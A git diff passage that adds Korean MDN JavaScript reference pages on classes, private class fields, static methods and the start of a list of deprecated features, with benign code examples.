+<p>메서드를 변수에 할당 한 다음 호출하는 것과 같이, 정적 메서드나 프로토타입 메서드가 {{jsxref("Operators/this", "this")}} 값 없이 호출될 때, <code>this</code> 값은 메서드 안에서 <code>undefined</code>가 됩니다. 이 동작은 {{jsxref("Strict_mode", "\"use strict\"")}} 명령어 없이도 같은 방식으로 동작하는데, <code>class</code> 문법 안에 있는 코드는 항상 strict mode 로 실행되기 때문입니다.</p>
+
+<pre class="brush: js notranslate">class Animal {
+ speak() {
+ return this;
+ }
+ static eat() {
+ return this;
+ }
+}
+
+let obj = new Animal();
+obj.speak(); // the Animal object
+let speak = obj.speak;
+speak(); // undefined
+
+Animal.eat() // class Animal
+let eat = Animal.eat;
+eat(); // undefined</pre>
+
+<p>위에 작성된 코드를 전통적 방식의 함수기반의 non–strict mode 구문으로 재작성하면, <code>this</code> 메서드 호출은 기본적으로 {{Glossary("Global_object", "전역 객체")}}인 초기 <code>this</code> 값에 자동으로 바인딩 됩니다. Strict mode에서는 자동 바인딩이 발생하지 않습니다; <code>this</code> 값은 전달된 대로 유지됩니다.</p>
+
+<pre class="brush: js notranslate">function Animal() { }
+
+Animal.prototype.speak = function() {
+ return this;
+}
+
+Animal.eat = function() {
+ return this;
+}
+
+let obj = new Animal();
+let speak = obj.speak;
+speak(); // global object (in non–strict mode)
+
+let eat = Animal.eat;
+eat(); // global object (in non-strict mode)</pre>
+
+<h3 id="인스턴스_속성">인스턴스 속성</h3>
+
+<p>인스턴스 속성은 반드시 클래스 메서드 내에 정의되어야 합니다:</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+ constructor(height, width) {
+ this.height = height;
+ this.width = width;
+ }
+}</pre>
+
+<p>정적 (클래스사이드) 속성과 프로토타입 데이터 속성은 반드시 클래스 선언부 바깥쪽에서 정의되어야 합니다. </p>
+
+<pre class="brush: js notranslate">Rectangle.staticWidth = 20;
+Rectangle.prototype.prototypeWidth = 25;
+</pre>
+
+<h3 id="Field_선언">Field 선언</h3>
+
+<div class="blockIndicator warning">
+<p>public과  private 필드 선언은 자바스크립트 표준화 위원회에 <a href="https://github.com/tc39/proposal-class-fields">실험적 기능 (stage 3)</a>  <a href="https://tc39.es/">TC39</a> 로 제안되어있습니다.  현재 이를 지원하는 브라우져는 제한적인 상태입니다만, <a href="https://babeljs.io/">Babel</a> 과 같은 build 시스템을 사용한다면 이 기능을 사용해볼 수 있습니다.</p>
+</div>
+
+<h4 id="Public_필드_선언">Public 필드 선언</h4>
+
+<p>자바스크립트의 필드 선언 문법을 사용해서 위의 예제는 아래와 같이 다시 쓰여질 수 있습니다.</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+ height = 0;
+ width;
+ constructor(height, width) {
+ this.height = height;
+ this.width = width;
+ }
+}</pre>
+
+<p>필드를 먼저 선언함으로서 클래스 정의는 self-documenting에 가까워졌고 필드는 언제나 존재하는 상태가 됩니다.</p>
+
+<p>위의 예에서 봤듯이 필드 선언은 기본 값과 같이 선언될 수도 있습니다.</p>
+
+<p>자세한 내용은 {{jsxref("Classes/Public_class_fields", "public class fields", "", "true")}}를 참조하세요.</p>
+
+<h4 id="Private_필드_선언">Private 필드 선언</h4>
+
+<p>private 필드를 사용하면 아래와 같이 예제를 개선할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+ #height = 0;
+ #width;
+ constructor(height, width) {
+ this.#height = height;
+ this.#width = width;
+ }
+}</pre>
+
+<p>클래스의 바깥에서 private 필드를 접근하려고 하면 에러가 발생합니다. private필드는 클래스 내부에서만 읽고 쓰기가 가능합니다. 클래스 외부에서 보이지 않도록 정의하였으므로 클래스가 버젼업 되면서 내부 구현이 바뀌더라도 클래스 사용자 입장에서는 이에 아무런 영항을 받지 않도록 할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p>Private 필드는 사용전에 선언되어야 합니다.</p>
+</div>
+
+<p>일반적인 프로퍼티와는 다르게 private 필드는 값을 할당하면서 만들어질 수 없습니다.</p>
+
+<p>자세한 내용은 {{jsxref("Classes/Private_class_fields", "private class fields", "", "true")}}를 참조하세요.</p>
+
+<h2 id="extends를_통한_클래스_상속sub_classing"><code>extends</code>를 통한 클래스 상속(sub classing)</h2>
+
+<p>{{jsxref("Classes/extends", "extends")}} 키워드는 <em>클래스 선언</em>이나 <em>클래스 표현식</em>에서 다른 클래스의 자식 클래스를 생성하기 위해 사용됩니다.</p>
+
+<pre class="brush: js notranslate">class Animal {
+ constructor(name) {
+ this.name = name;
+ }
+
+ speak() {
+ console.log(`${this.name} makes a noise.`);
+ }
+}
+
+class Dog extends Animal {
+ constructor(name) {
+ super(name); // super class 생성자를 호출하여 name 매개변수 전달
+ }
+
+ speak() {
+ console.log(`${this.name} barks.`);
+ }
+}
+
+let d = new Dog('Mitzie');
+d.speak(); // Mitzie barks.</pre>
+
+<p>subclass에 constructor가 있다면, "this"를 사용하기 전에 가장 먼저 super()를 호출해야 합니다.</p>
+
+<p>또한 es5에서 사용되던 전통적인 함수 기반의 클래스를 통하여 확장할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">function Animal (name) {
+ this.name = name;
+}
+
+Animal.prototype.speak = function () {
+ console.log(`${this.name} makes a noise.`);
+}
+
+class Dog extends Animal {
+ speak() {
+ console.log(`${this.name} barks.`);
+ }
+}
+
+let d = new Dog('Mitzie');
+d.speak(); // Mitzie barks.
+
+// 유사한 메서드의 경우, 자식의 메서드가 부모의 메서드보다 우선합니다</pre>
+
+<p>클래스는 생성자가 없는 객체(non-constructible)을 확장할 수 없습니다. 만약 기존의 생성자가 없는 객체을 확장하고 싶다면, 이 메서드를 사용하세요. {{jsxref("Object.setPrototypeOf()")}}:</p>
+
+<pre class="brush: js notranslate">const Animal = {
+ speak() {
+ console.log(`${this.name} makes a noise.`);
+ }
+};
+
+class Dog {
+ constructor(name) {
+ this.name = name;
+ }
+}
+
+// 이 작업을 수행하지 않으면 speak를 호출할 때 TypeError가 발생합니다
+Object.setPrototypeOf(Dog.prototype, Animal);
+
+let d = new Dog('Mitzie');
+d.speak(); // Mitzie makes a noise.</pre>
+
+<h2 id="Species">Species</h2>
+
+<p>배열을 상속 받은 MyArray 클래스에서 {{jsxref("Array")}} Object를 반환하고 싶을 수도 있을 것입니다. 그럴때 Species 패턴은 기본 생성자를 덮어쓰도록 해줍니다.</p>
+
+<p>예를 들어, {{jsxref("Array.map", "map()")}}과 같은 기본 생성자를 반환하는 메서드를 사용할 때 이 메서드가 MyArray 객체 대신 <code>Array</code> 객체가 반환하도록 하고 싶을 것입니다. {{jsxref("Symbol.species")}} 심볼은 이러한 것을 가능하게 해줍니다:</p>
+
+<pre class="brush: js notranslate">class MyArray extends Array {
+ // 부모 Array 생성자로 species 덮어쓰기
+ static get [Symbol.species]() { return Array; }
+}
+var a = new MyArray(1,2,3);
+var mapped = a.map(x =&gt; x * x);
+
+console.log(mapped instanceof MyArray); // false
+console.log(mapped instanceof Array); // true</pre>
+
+<h2 id="super_를_통한_상위_클래스_호출"><code>super</code> 를 통한 상위 클래스 호출</h2>
+
+<p>{{jsxref("Operators/super", "super")}} 키워드는 객체의 부모가 가지고 있는 메서드를 호출하기 위해 사용됩니다. 이는 프로토타입 기반 상속보다 좋은 점 중 하나입니다.</p>
+
+<pre class="brush: js notranslate">class Cat {
+ constructor(name) {
+ this.name = name;
+ }
+
+ speak() {
+ console.log(`${this.name} makes a noise.`);
+ }
+}
+
+class Lion extends Cat {
+ speak() {
+ super.speak();
+ console.log(`${this.name} roars.`);
+ }
+}
+
+let l = new Lion('Fuzzy');
+l.speak();
+// Fuzzy makes a noise.
+// Fuzzy roars.</pre>
+
+<h2 id="Mix-ins">Mix-ins</h2>
+
+<p>추상 서브 클래스 또는 믹스-인은 클래스를 위한 템플릿입니다. ECMAScript 클래스는 하나의 단일 슈퍼클래스만을 가질 수 있으며, 예를 들어 툴링 클래스로부터의 다중 상속은 불가능합니다. 기능은 반드시 슈퍼클래스에서 제공되어야 합니다.</p>
+
+<p>슈퍼클래스를 인자로 받고 이 슈퍼클래스를 확장하는 서브클래스를 생성하여 반환하는 함수를 사용하여 ECMAScript에서 믹스-인을 구현할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">var calculatorMixin = Base =&gt; class extends Base {
+ calc() { }
+};
+
+var randomizerMixin = Base =&gt; class extends Base {
+ randomize() { }
+};</pre>
+
+<p>위 믹스-인을 사용하는 클래스는 다음과 같이 작성할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">class Foo { }
+class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</pre>
+
+<h2 id="클래스_재정의">클래스 재정의</h2>
+
+<p>클래스는 재정의될 수 없습니다. 재정의를 시도하면 <code>SyntaxError</code> 가 발생합니다.</p>
+
+<p>이를 실험해보고 싶으면 FireFox Web Console (<strong>Tools </strong>&gt;<strong> Web Developer </strong>&gt;<strong> Web Console</strong>) 에서 같은 이름으로 클래스를 두번 정의하려고 해보세요. 다음과 같은 오류를 보게 될 겁니다. <code>SyntaxError: redeclaration of let <em>ClassName</em>;</code>. (See further discussion of this issue in {{Bug(1428672)}}.) Doing something similar in Chrome Developer Tools gives you a message like <code>Uncaught SyntaxError: Identifier '<em>ClassName</em>' has already been declared at &lt;anonymous&gt;:1:1</code>.</p>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세서</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.classes")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Functions", "함수", "", "true")}}</li>
+ <li>{{jsxref("Statements/class", "class 선언", "", "true")}}</li>
+ <li>{{jsxref("Operators/class", "class 식", "", "true")}}</li>
+ <li>{{jsxref("Classes/Public_class_fields", "Public class fields", "", "true")}}</li>
+ <li>{{jsxref("Classes/Private_class_fields", "Private class fields", "", "true")}}</li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-classes/">블로그 게시물: "ES6 In Depth: Classes"</a></li>
+ <li><a href="https://github.com/tc39/proposal-class-fields">Fields and public/private class properties proposal (stage 3)</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/classes/private_class_fields/index.html b/files/ko/web/javascript/reference/classes/private_class_fields/index.html
new file mode 100644
index 0000000000..ea5508ab27
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/private_class_fields/index.html
@@ -0,0 +1,201 @@
+---
+title: Private class fields
+slug: Web/JavaScript/Reference/Classes/Private_class_fields
+tags:
+ - Class
+ - JavaScript
+ - Private Field
+translation_of: Web/JavaScript/Reference/Classes/Private_class_fields
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p>class 의 속성(property)들은 기본적으로 public 하며 class 외부에서 읽히고 수정될 수 있다. 하지만, ES2019 에서는 해쉬 <code>#</code> prefix 를 추가해 private class 필드를 선언할 수 있게 되었다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="notranslate">class ClassWithPrivateField {
+ #privateField
+}
+
+class ClassWithPrivateMethod {
+ #privateMethod() {
+ return 'hello world'
+ }
+}
+
+class ClassWithPrivateStaticField {
+ static #PRIVATE_STATIC_FIELD
+}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Private_static_fields">Private static fields</h3>
+
+<p>private 필드는 class 선언문 내부의 class 생성자(class constructor)에서 접근이 가능하다.</p>
+
+<p>static 메소드에서만 static 변수들을 호출할 수 있다는 제약은 그대로 유지된다.</p>
+
+<pre class="notranslate">class ClassWithPrivateStaticField {
+ static #PRIVATE_STATIC_FIELD
+
+ static publicStaticMethod() {
+ ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42
+ return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD
+ }
+}
+
+console.assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre>
+
+<p>Private static 필드는 class evaluation 시 class 생성자(class constructor)에 추가된다.</p>
+
+<p>Private static 필드는 해당 필드를 선언한 class 에서만 접근할 수 있다.</p>
+
+<p>이는 <code>this</code> 를 사용함에 있어 예상치 못한 동작을 야기할 수 있다.</p>
+
+<pre class="notranslate">class BaseClassWithPrivateStaticField {
+ static #PRIVATE_STATIC_FIELD
+
+ static basePublicStaticMethod() {
+ this.#PRIVATE_STATIC_FIELD = 42
+ return this.#PRIVATE_STATIC_FIELD
+ }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+let error = null
+
+try {
+ SubClass.basePublicStaticMethod()
+} catch(e) { error = e}
+
+console.assert(error instanceof TypeError)</pre>
+
+<h3 id="Private_instance_fields">Private instance fields</h3>
+
+<p>private 인스턴스 필드는 <strong># 이름 ('해쉬 이름' 으로 발음)</strong>,<strong> </strong>즉 <code>#</code> prefix 를 가진 식별자로 선언된다. <code>#</code> 은 그 이름 자체의 일부이며 선언과 접근 시에 모두 사용된다.</p>
+
+<p>캡슐화(encapsulation) 는 언어로부터 강제된다(enforced by the language). 즉, scope 밖에서 <code>#</code> 이름에 접근하는 것은 syntax error 이다.</p>
+
+<pre class="notranslate">class ClassWithPrivateField {
+ #privateField
+
+ constructor() {
+ this.#privateField = 42
+ this.#randomField = 444 // Syntax error
+ }
+}
+
+const instance = new ClassWithPrivateField()
+instance.#privateField === 42 // Syntax error</pre>
+
+<h3 id="Private_Methods">Private Methods</h3>
+
+<h4 id="Private_static_methods">Private static methods</h4>
+
+<p><strong>private static 메소드</strong>는 public static 메소드처럼 인스턴스가 아닌 class 로부터 호출된다. 그리고 private static 필드처럼 class 선언문 내부에서만 접근 가능하다. </p>
+
+<p>private static 메소드는 generator, async 그리고 async generator 함수가 될 수 있다.</p>
+
+<pre class="notranslate">class ClassWithPrivateStaticMethod {
+ static #privateStaticMethod() {
+ return 42
+ }
+
+ static publicStaticMethod1() {
+ return ClassWithPrivateStaticMethod.#privateStaticMethod();
+ }
+
+ static publicStaticMethod2() {
+ return this.#privateStaticMethod();
+ }
+}
+
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod1() === 42);
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod2() === 42);</pre>
+
+<p>이는 <code>this</code> 를 사용할 때 예상치 못한 동작을 발생시킬 수 있다. (이는 <code>this</code> binding rule 이 적용되기 때문이다.) 다음 예시에서 <code>Derived.publicStaticMethod2()</code> 를 호출할 때, <code>this</code> 는 class <code>Derived</code> (<code>Base</code> 가 아니라) 를 가리킨다. </p>
+
+<pre class="notranslate">class Base {
+ static #privateStaticMethod() {
+ return 42;
+ }
+ static publicStaticMethod1() {
+ return Base.#privateStaticMethod();
+ }
+ static publicStaticMethod2() {
+ return this.#privateStaticMethod();
+ }
+}
+
+class Derived extends Base {}
+
+console.log(Derived.publicStaticMethod1()); // 42
+console.log(Derived.publicStaticMethod2()); // TypeError</pre>
+
+<h4 id="Private_instance_methods">Private instance methods</h4>
+
+<p>private 인스턴스 메소드는 private 인스턴스 필드와는 다르게 class 인스턴스로부터 접근 가능하다.</p>
+
+<pre class="notranslate">class ClassWithPrivateMethod {
+ #privateMethod() {
+ return 'hello world'
+ }
+
+ getPrivateMessage() {
+ return this.#privateMethod()
+ }
+}
+
+const instance = new ClassWithPrivateMethod()
+console.log(instance.getPrivateMessage())
+// expected output: "hello worl​d"</pre>
+
+<p>private 인스턴스 메소드는 generator, async 그리고 async generator 함수가 될 수 있다. private getter 와 setter 또한 가능하다:</p>
+
+<pre class="notranslate">class ClassWithPrivateAccessor {
+ #message
+
+ get #decoratedMessage() {
+ return `✨${this.#message}✨`
+ }
+ set #decoratedMessage(msg) {
+ this.#message = msg
+ }
+
+ constructor() {
+ this.#decoratedMessage = 'hello world'
+ console.log(this.#decoratedMessage)
+ }
+}
+
+new ClassWithPrivateAccessor();
+// expected output: "✨hello worl​d✨"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.classes.private_class_fields")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes/Public_class_fields">Public class fields</a></li>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/classes/static/index.html b/files/ko/web/javascript/reference/classes/static/index.html
new file mode 100644
index 0000000000..02701e550d
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/static/index.html
@@ -0,0 +1,136 @@
+---
+title: static
+slug: Web/JavaScript/Reference/Classes/static
+tags:
+ - Classes
+ - ECMAScript 2015
+ - JavaScript
+ - 자바스크립트
+ - 클래스
+translation_of: Web/JavaScript/Reference/Classes/static
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p><strong>static</strong> 키워드는 클래스의 정적 메서드를 정의합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/classes-static.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">static methodName() { ... }</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>정적 메서드는 클래스의 인스턴스 없이 호출이 가능하며 클래스가 인스턴스화되면 호출할 수 없다. 정적 메서드는 종종 어플리케이션의 유틸리티 함수를 만드는데 사용된다.</p>
+
+<h2 id="정적_메서드의_호출">정적 메서드의 호출</h2>
+
+<h4 id="다른_정적_메서드에서의_호출">다른 정적 메서드에서의 호출</h4>
+
+<p>동일한 클래스 내의 다른 정적 메서드 내에서 정적 메서드를 호출하는 경우 키워드 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>를 사용할 수 있다.</p>
+
+<pre class="brush: js">class StaticMethodCall {
+ static staticMethod() {
+ return 'Static method has been called';
+ }
+ static anotherStaticMethod() {
+ return this.staticMethod() + ' from another static method';
+ }
+}
+StaticMethodCall.staticMethod();
+// 'Static method has been called'
+
+StaticMethodCall.anotherStaticMethod();
+// 'Static method has been called from another static method'
+</pre>
+
+<h3 id="클래스_생성자_및_다른_메서드에서의_호출">클래스 생성자 및 다른 메서드에서의 호출</h3>
+
+<p>정적 메서드가 비정적 메서드에서 키워드<code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> 를 써서는 직접적인 접근을 할 수 없다. 바른 호출 방법은  클래스 명칭을 쓰거나, 즉 <code>CLASSNAME.STATIC_METHOD_NAME()</code> 을 이용하거나 혹은 그 메서드를 생성자의 한 속성으로 부르는 것으로, 즉 <code>constructor</code> : <code>this.constructor.STATIC_METHOD_NAME()</code>를 이용한다.</p>
+
+<pre class="brush: js">class StaticMethodCall {
+ constructor() {
+ console.log(StaticMethodCall.staticMethod());
+ // 'static method has been called.'
+
+ console.log(this.constructor.staticMethod());
+ // 'static method has been called.'
+ }
+
+ static staticMethod() {
+ return 'static method has been called.';
+ }
+}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 예제는 여러가지 내용을 설명합니다.</p>
+
+<ol>
+ <li>어떻게 정적 메서드가 클래스에서 구현되는지</li>
+ <li>클래스의 정적 맴버가 서브클래스화 되는 것을 보여줍니다.</li>
+ <li>정적 메서드가 어떤 경우에 호출 될 수 있는지와 없는지를 설명합니다.</li>
+</ol>
+
+<pre class="brush: js">class Triple {
+ static triple(n) {
+ n = n || 1; //비트연산이 아니어야 합니다.
+ return n * 3;
+ }
+}
+
+class BiggerTriple extends Triple {
+ static triple(n) {
+ return super.triple(n) * super.triple(n);
+ }
+}
+
+console.log(Triple.triple()); // 3
+console.log(Triple.triple(6)); // 18
+console.log(BiggerTriple.triple(3)); // 81
+var tp = new Triple();
+console.log(BiggerTriple.triple(3)); // 81 (부모의 인스턴스에 영향을 받지 않습니다.)
+console.log(tp.triple()); // 'tp.triple은 함수가 아닙니다.'.
+console.log(tp.constructor.triple(4)); // 12
+</pre>
+
+<p> </p>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.classes.static")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/deprecated_and_obsolete_features/index.html b/files/ko/web/javascript/reference/deprecated_and_obsolete_features/index.html
new file mode 100644
index 0000000000..deffbf4caa
--- /dev/null
+++ b/files/ko/web/javascript/reference/deprecated_and_obsolete_features/index.html
@@ -0,0 +1,290 @@
+---
+title: Deprecated and obsolete features
+slug: Web/JavaScript/Reference/Deprecated_and_obsolete_features
+tags:
+ - Deprecated
+ - JavaScript
+ - Obsolete
+translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>본 페이지는 자바스크립트의 제외 예정인(즉, 아직 사용할 수 있지만 제거 계획이 있는) 기능과 제외된(즉, 더 이상 사용할 수 없는) 기능을 나열합니다.</p>
+
+<h2 id="제외_예정_기능">제외 예정 기능</h2>
+
+<p>아래 기능은 아직 사용할 수 있지만, 언젠가 제거될 예정이므로 주의를 기울여야 합니다. 작성한 코드가 항목 중 하나를 포함하고 있다면 제거해야 합니다.</p>
+
+<h3 id="RegExp_속성">RegExp 속성</h3>
+
+<p>아래 속성은 제외 예정입니다. 이는 {{jsxref("String.replace")}} 사용에 영향을 주지 않습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Property</th>
+ <th>Description</th>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.n", "$1-$9")}}</td>
+ <td>
+ <p>Parenthesized substring matches, if any.<br>
+ <strong>Warning:</strong> Using these properties can result in problems, since browser extensions can modify them. Avoid them!</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.input", "$_")}}</td>
+ <td>See <code>input</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.multiline", "$*")}}</td>
+ <td>See <code>multiline</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.lastMatch", "$&amp;")}}</td>
+ <td>See <code>lastMatch</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.lastParen", "$+")}}</td>
+ <td>See <code>lastParen</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.leftContext", "$`")}}</td>
+ <td>See <code>leftContext</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.rightContext", "$'")}}</td>
+ <td>See <code>rightContext</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.input", "input")}}</td>
+ <td>The string against which a regular expression is matched.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.lastMatch", "lastMatch")}}</td>
+ <td>The last matched characters.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.lastParen", "lastParen")}}</td>
+ <td>The last parenthesized substring match, if any.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.leftContext", "leftContext")}}</td>
+ <td>The substring preceding the most recent match.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.rightContext", "rightContext")}}</td>
+ <td>The substring following the most recent match.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>The following are now properties of <code>RegExp</code> instances, no longer of the <code>RegExp</code> object:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Property</th>
+ <th>Description</th>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.global", "global")}}</td>
+ <td>Whether or not to test the regular expression against all possible matches in a string, or only against the first.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.ignoreCase", "ignoreCase")}}</td>
+ <td>Whether or not to ignore case while attempting a match in a string.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.lastIndex", "lastIndex")}}</td>
+ <td>The index at which to start the next match.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.multiline", "multiline")}}</td>
+ <td>Whether or not to search in strings across multiple lines.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.source", "source")}}</td>
+ <td>패턴의 텍스트.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="RegExp_메서드">RegExp 메서드</h3>
+
+<ul>
+ <li>{{jsxref("RegExp.compile", "compile()")}} 메서드는 제외될 예정입니다.</li>
+ <li><code>valueOf</code> 메서드는 더 이상 <code>RegExp</code> 전용이 아닙니다. {{jsxref("Object.valueOf()")}}를 사용하세요.</li>
+</ul>
+
+<h3 id="Function_속성">Function 속성</h3>
+
+<ul>
+ <li>The {{jsxref("Global_Objects/Function/caller", "caller")}} and {{jsxref("Global_Objects/Function/arguments", "arguments")}} properties are deprecated, because they leak the function caller. Instead of the arguments property, you should use the {{jsxref("Functions/arguments", "arguments")}} object inside function closures.</li>
+</ul>
+
+<h3 id="Legacy_generator">Legacy generator</h3>
+
+<ul>
+ <li>{{jsxref("Statements/Legacy_generator_function", "Legacy generator function statement")}} and {{jsxref("Operators/Legacy_generator_function", "Legacy generator function expression")}} are deprecated. Use {{jsxref("Statements/function*", "function* statement")}} and {{jsxref("Operators/function*", "function* expression")}} instead.</li>
+ <li>{{jsxref("Operators/Array_comprehensions", "JS1.7/JS1.8 Array comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} and {{jsxref("Operators/Generator_comprehensions", "JS1.7/JS1.8 Generator comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} are deprecated.</li>
+</ul>
+
+<h3 id="Iterator">Iterator</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/StopIteration", "StopIteration")}} is deprecated.</li>
+ <li>{{jsxref("Global_Objects/Iterator", "Iterator")}} is deprecated.</li>
+</ul>
+
+<h3 id="Object_methods">Object methods</h3>
+
+<ul>
+ <li>{{jsxref("Object.watch", "watch")}} and {{jsxref("Object.unwatch", "unwatch")}} are deprecated. Use {{jsxref("Proxy")}} instead.</li>
+ <li><code>__iterator__</code> is deprecated.</li>
+ <li>{{jsxref("Object.noSuchMethod", "__noSuchMethod__")}} is deprecated. Use {{jsxref("Proxy")}} instead.</li>
+</ul>
+
+<h3 id="Date_methods">Date methods</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Date/getYear", "getYear")}} and {{jsxref("Global_Objects/Date/setYear", "setYear")}} are affected by the Year-2000-Problem and have been subsumed by {{jsxref("Global_Objects/Date/getFullYear", "getFullYear")}} and {{jsxref("Global_Objects/Date/setFullYear", "setFullYear")}}.</li>
+ <li>You should use {{jsxref("Global_Objects/Date/toISOString", "toISOString")}} instead of the deprecated {{jsxref("Global_Objects/Date/toGMTString", "toGMTString")}} method in new code.</li>
+ <li>{{jsxref("Global_Objects/Date/toLocaleFormat", "toLocaleFormat")}} is deprecated.</li>
+</ul>
+
+<h3 id="Functions">Functions</h3>
+
+<ul>
+ <li>{{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}} are deprecated. Use regular {{jsxref("Operators/function", "functions")}} or {{jsxref("Functions/Arrow_functions", "arrow functions", "", 1)}} instead.</li>
+</ul>
+
+<h3 id="Proxy">Proxy</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.create</a> and <a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.createFunction</a> are deprecated. Use {{jsxref("Proxy")}} instead.</li>
+ <li>The following traps are obsolete:
+ <ul>
+ <li><code>hasOwn</code> ({{bug(980565)}}, Firefox 33).</li>
+ <li><code>getEnumerablePropertyKeys</code> ({{bug(783829)}}, Firefox 37)</li>
+ <li><code>getOwnPropertyNames</code> ({{bug(1007334)}}, Firefox 33)</li>
+ <li><code>keys</code> ({{bug(1007334)}}, Firefox 33)</li>
+ </ul>
+ </li>
+</ul>
+
+<h3 id="Escape_sequences">Escape sequences</h3>
+
+<ul>
+ <li>Octal escape sequences (\ followed by one, two, or three octal digits) are deprecated in string and regular expression literals.</li>
